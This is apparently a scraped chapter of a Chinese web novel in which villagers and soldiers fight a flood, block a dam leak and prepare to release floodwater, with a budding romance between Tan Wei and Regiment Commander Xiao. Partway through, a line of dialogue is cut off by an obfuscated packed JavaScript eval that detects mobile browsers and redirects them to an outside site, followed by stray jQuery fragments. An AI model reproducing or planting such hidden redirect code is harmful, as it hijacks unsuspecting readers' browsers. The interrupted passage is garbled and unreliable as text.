29. 泄洪咯

作品:《穿进年代文后要跟大佬退婚?

    但在晦暗的天色和瓢泼的大雨中,谭薇甚至看不清他的神色。


    而面对如此紧急危险的状况,他们也没有任何感伤的时间。谭薇看见一个身影下水,瞬间就被洪水裹挟,好在他腰间系着绳子,其他人拼命地拉着他,他才没被直接冲走。谭薇又听到一声声怒吼,他们在洪水里不停尝试着站稳,抛投沙袋。


    但水速太快了,一次次的尝试,一次次的失败。


    谭薇只能强迫自己,只专注在自己目前做的事情上,机械地抓过上一个人传来的沙袋,然后传给下一个人。大雨真像是倾盆一样地泼到他们的身上,而地上的人能做的就是沉默地用身躯去抵抗天灾。


    不知道过了多久,前方爆发出一阵欢呼,谭薇看过去,只见一小段沙袋已经搭成了,军人们用木桩在沙袋后面固定好。第一步最难,基础的沙袋搭好了,接下来就容易好多了。


    谭薇想抓住前面的人问问有没有人员伤亡,但她刚一想开口,就感觉自己的整张脸都冻得麻木了。


    “小薇太好了,水流慢下来了。”刘铁花跑到谭薇的身边,抓着她又叫又笑。


    “部队的人都没事吧?”


    “放心,都系着绳子,都没事!”雨声让沟通都变得困难起来,刘铁花只能大吼。


    谭薇突然觉得脸上一阵热意,她竟不知不觉流下泪来。


    好在大雨不停地冲刷,眼泪很快就被冲走了。


    谭薇深深地看了一眼岸边那些穿着黑色雨衣的身影们,接着就继续跑动传递沙袋了。


    水流速度虽然控制下来了。但是大坝的漏洞还没堵上呢。


    “一,二,三——”


    谭薇走上了大坝上,手上抓着那块巨大的帆布,然后等待着指挥的声音。


    “放——”一声破音的嘶吼。


    坝上的人把帆布垂下去,所有人的目光也全都随着那帆布看下去。


    帆布很快垂到了水面,流动的水撞击大坝激起的巨大回荡牵动着整块布,上面的人牢牢地抓着帆布,但帆布吸了水变得很沉很沉。


    谭薇感觉自己像在跟一股巨力拔河,甚至整个人都被带得有些站不稳。


    稳住。


    稳住。


    谭薇给自己打气。目光还牢牢地盯着大坝下面。


    那湍急的水流中士兵们抛投着沙袋,企图用沙袋固定住帆布。一开始的沙袋还是被水流带着走了,那一个个身影于是手拉着手走到水更深的地方。


    小心啊。一定要平安啊。


    谭薇默默地在心里为他们祈祷。


    终于,谭薇能感觉到手上的帆布没有了被拉扯的力,几个沙袋终于被堆放着固定了下来。


    旁边还有指挥的人继续指挥着沙袋往左再堆放一些,“漏水的小了,这个位置对!”


    “再来一层。”


    “堤坝上的固定住帆布。”


    大坝上,大家系绳子,钉钉子,堆上石头房梁,确保帆布被固定地万无一失。


    谭薇正在跟人合力抬一块大石头呢,就听到底下喊,“不漏了。我们成功了!”


    一时间,压抑许久的大家爆发出巨大的欢呼声。


    站在一旁的凌玲突然抱住了谭薇,痛哭起来,“薇姐姐,我们真的做到了!呜——”


    谭薇也鼻头一酸,不过这股酸意立刻就被刘铁花给扑灭了。刘铁花直接一只手一个人,拉着她们跳了起来,“太好了,我们太厉害了!”


    看着周围人有的哭有的笑,谭薇也不由得放声欢笑起来。


    “哦!我们胜利了。”


    “我老刘还是有把子力气的嘛。”


    “哦哟哟哟!”


    “太好了!


    ——————


    “川沙水坝决堤了。”


    “河道沿途全被淹了。”


    “3师本部坐镇西山水库。”


    “西山水库出现裂缝,但是军队及时抢险,目前西山还在支撑。”


    “大方呢?大方水坝怎么样了?”书记眉头紧皱。


    纪局长咽了口唾沫,“大方在川沙下面,川沙决堤之后,下游地方完全被淹,无法恢复通讯。”


    纪连城说完这话,办公室的气氛像是凝固了。


    他们在坐的都是常年搞防汛工作的。决堤之后毫无准备的百姓们在洪水下会有怎样的命运,每个人心里其实都已经有了预测。只是——那得死多少人啊。


    “几十年不遇的大水啊。”书记脱下了眼镜,狠狠地揉着自己的眉心,“是咱们的工作做的不到位。”


    纪连城开口,“不过3师的师长跟我说,他手下最得力的团长正是在大方公社那边做防汛工作。听说那位肖团长是战场上的干将,就算保不住水坝,起码能够带着一部分人撤离。”


    书记沉重地点了点头,“现在我们,也只能这样希望了。”


    他盯着桌上自己的眼镜,过了好久才开始给大家做进一步的指示,“现在最重要的是,尝试一切办法,联系上被淹地区的群众,想尽办法救援。还有城区内的……”


    纪连城飞快地在笔记本上记着,一边盘算着怎么落实下去。川沙那边,路被淹了一段,得开大车过去救援。但更下游的,则完全被淹了。大方那边,还有市委派下去防汛的年轻人们,纪连城还想起了谭薇,他亲自去见过的,充满朝气的花骨朵般的小姑娘。这场大水,不知道他们怎么样了。


    ——————


    “排水沟怎么样,杂草什么的都清了吗?”谭薇下了大坝,跟在背水面干活的社员们确认。


    “小谭同志,都清好了。这……真的要泄洪吗。去年大旱,今年好不容易长的秧苗啊。”翠花婶说着说着就低落了起来。


    “你这婆娘,怎么不懂得情况呢。书记都说了再不泄洪水坝就保不住了,那咱怎么办。”一旁的方瑞福黑着脸说了翠花婶一句,但看翠花婶难过地抹起了眼泪,还是忍不住长长地“唉”了一声。


    “瑞福叔,翠花婶,咱不是在村子里挖了排水沟吗。之前做的沙袋也垒在田边了。咱能做的都做了,现在就看这老天爷能不能赶紧收了这大雨了。”谭薇本想安慰的,但说着说着她也不由得低落了起来。天灾比她想象的更加可怕,用人力去抵抗,也只能尽人事而已。


    “好了好了。如果担心,就多挖几条排水沟去。”好在还有保持着信心的刘铁花,她刚推着一车的沙袋木桩过来,看到翠花婶抹泪,赶忙过来,“婶,这个时候咱就应该相信人定胜天。社里头书记挖水沟缺人手呢。”


    “是吗,是不是木桩子也不够了。正好我们又拣了许多,正要送回去呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078895|194426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”翠花婶听到有事要做,也来不及难过了,赶忙指着一旁的木桩,“刘同志,你的推车给我用用。”


    刘铁花,“好啊,我来给你搬上去。”


    “不用,不用,你瑞福叔在这呢。你们刚才大坝上下来,累坏了吧,赶紧歇歇。”


    谭薇看着翠花婶带着瑞福叔匆匆忙活的背影,对着刘铁花,“还是你有本事。”


    刘铁花一把扯下雨衣的帽子,“呼——闷死我了。”然后一下靠在谭薇的肩上,“听说要泄洪了,社员们都忙活着在那挖沟呢。还是你厉害,之前就说要统计沙袋的量,后来又交代给凌玲谁来支取都要记录。要不然这些战略物资真是不够用呢。”


    “小薇。你怎么这么厉害。”看到刘铁花坐直了,转身一脸认真地盯着自己说这句话,谭薇不由得也笑了,她也扯下自己的帽子,任由雨水打在脸上,“你才厉害呢,你能一个人搬三个沙袋,不管遇到什么事,都还那么有劲。你怎么力气这么大?”


    “那可不嘛。我爸本来想给我起名叫刘铁的,后来我妈死活不干,才加了一个花字。我啊,就是铁打的。”


    “诶。”刘铁花突然朝着谭薇挤挤眼睛,“我刚刚可看到了,你急忙忙地跑下坝去,是不是去找肖团长了?”


    谭薇却一脸淡定,“是啊,他们在水里头堆沙袋,多危险啊。我赶着跑下去看有没有人员伤亡。”


    刘铁花被她这幅理所当然的神色忽悠住了,有点失望,“好吧,我还以为你是关心肖团长。”


    “我关心他,我也关心每一个抗洪救灾的人。”


    谭薇微笑着回答刘铁花的揶揄,其实心里却很是不平静。或许真是患难见真情的。她也不知道自己为什么会在漏洞堵上之后飞也似地跑下堤坝,急急地在人群中搜索那个人的身影。


    看到肖穆的时候,她突然就流下眼泪来。


    好在周围都是又哭又笑的人,才没有显得她多突兀。


    但肖穆又是怎么在一群人中发现她的呢。


    他上了岸,直接走向了她。


    “我没事。”


    “放心吧。”


    “大家都会没事的。”


    他没说什么感人的话,但就是这三句话,谭薇抬起头,看着他的眼睛。


    在水下折腾那一番,肖穆的整张脸都苍白着,发丝耷拉在脸上,不断往下滴着水。但他的眼睛,却像有团火在燃烧一样明亮。


    “好。”


    谭薇记得,自己好像就说了这么一个字。


    天上还在不停地下雨,留给他们休息的时间也只有这么一点。感觉自己稍稍缓了一点劲,谭薇就和刘铁花互相搀扶着站了起来。


    她们俩回到了公社的学校。


    学校正好处在一块高地,于是社员们就都集合在这里。


    谭薇找到方书记,“所有人都齐了吗?”


    书记点点头,“按照你说的,每个小组都确认过了,所有人都在这里了。”


    “船也放好了吧?”谭薇又看向方瑞福,虽然说学校这块高地理应支撑他们等到退水,但万一呢。所以逃生的工具还是必须准备好。


    看到方瑞福点了头,谭薇才看向一旁的刘铁花。


    有人推开窗,望向了水坝的方位。


    “泄洪咯——”